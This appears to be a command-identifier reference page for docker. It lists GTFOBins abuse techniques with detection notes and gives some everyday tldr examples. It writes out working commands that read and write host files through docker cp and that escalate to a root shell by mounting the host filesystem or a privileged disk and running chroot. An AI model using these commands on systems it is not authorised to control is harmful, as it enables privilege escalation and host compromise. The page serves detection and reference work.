Identifier / Programs / Linux and Unix
docker
Manage Docker containers and images. Some subcommands such as container, image, etc. have their own usage documentation. tldr-pages
GTFOBins shell 1 ATT&CK technique 4 documented commands
How docker is abused
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for docker.
4 documented commands
file-read unprivileged, with sudo, as SUID
Read a file by copying it to a temporary container ($CONTAINER_ID) and back to a new location on the host.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-filefile-write unprivileged, with sudo, as SUID
Write a file by copying it to a temporary container ($CONTAINER_ID) and back to the target destination on the host.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-fileshell unprivileged, with sudo, as SUID
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/shshell unprivileged, with sudo, as SUID
This exploits the fact that is run with the --privileged option to directly mount a host's disk, e.g., /dev/sda1.
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bashNone of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for docker. The identifier reads the line of each that runs docker.
What detects it
Everyday use
List all Docker containers (running and stopped)
docker [ps|container ls] --allIdentifyStart a container from an image, with a custom name
docker [run|container run] --name container_name imageIdentifyStart or stop an existing container
docker container start container_nameIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.